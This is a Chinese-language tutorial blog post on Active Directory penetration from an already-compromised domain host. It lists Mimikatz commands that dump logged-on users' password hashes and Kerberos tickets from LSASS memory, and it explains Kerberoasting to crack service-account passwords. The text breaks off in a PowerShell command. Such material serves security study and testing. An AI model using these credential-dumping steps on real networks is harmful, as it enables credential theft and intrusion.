Active Directory渗透

概述

以下针对AD域的渗透,均在已控制域内主机,并在此基础上进一步渗透域控或域内其他主机。

获取缓存的凭证

kerberos认证过程中,使用LSASS服务存储密码hash,用于TGT的更新,密码hash存储在LSASS服务对应的内存空间中。

若能够提取密码hash,则可以尝试破解。

由于LSASS服务为系统服务,故提取密码hash的前提是已经具备系统权限。

用到的工具:Mimikatz(https://github.com/gentilkiwi/mimikatz)

详细使用说明:https://github.com/gentilkiwi/mimikatz/wiki

备注:Mimikatz两种建议运行方式:1)在内存中加载;2)将LSASS内存数据导出到本地机器,再运行mimikatz。

以下为mimikatz操作命令:

mimikatz > privilege::debug    # 启用SeDebugPrivlege权限。SeDebugPrivlege权限可以调试其他账号进程的内存数据。

mimikatz > sekurlsa::logonpasswords    # 导出已登录用户的凭证信息。NTLM和SHA1两个参数即为密码hash。

mimikatz > sekurlsa::tickets    # 导出内存中的ticket信息,包含TGT和TGS。

服务账号攻击

AD认证:Kerberos 和 NTLMhttps://app.yinxiang.com/shard/s67/nl/15111961/b5b519e2-aebd-4e36-8fb7-45cdc7c6ff82

攻击思路:根据kerberos认证过程,在第三步,client向DC请求service ticket时,DC不判断client是否有权限访问请求中的SPN,都会返回请求访问的SPN对应的服务账号密码hash加密service ticket。利用这点,可以修改TGS_REQ,将SPN改为想要攻击的服务账号的SPN(比如HTTP的SPN对应的服务账号是iis_service)。DC收到调整过的请求后,会返回iis_service密码hash加密的service ticket,将service ticket导出后进行iis_service账号的密码破解。

前提条件:已控制域内主机,需要保证前两步的认证是可以通过的。

攻击过程:

1. 请求service ticket。powershell脚本将用到System.IdentityModel模块中的KerberosRequestorSecurityToken类。

PS C:\> Add-Type -AssemblyName System.IdentityModel

PS C:\> New-Object System.IdentityModel.Tokens.KerberosR
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值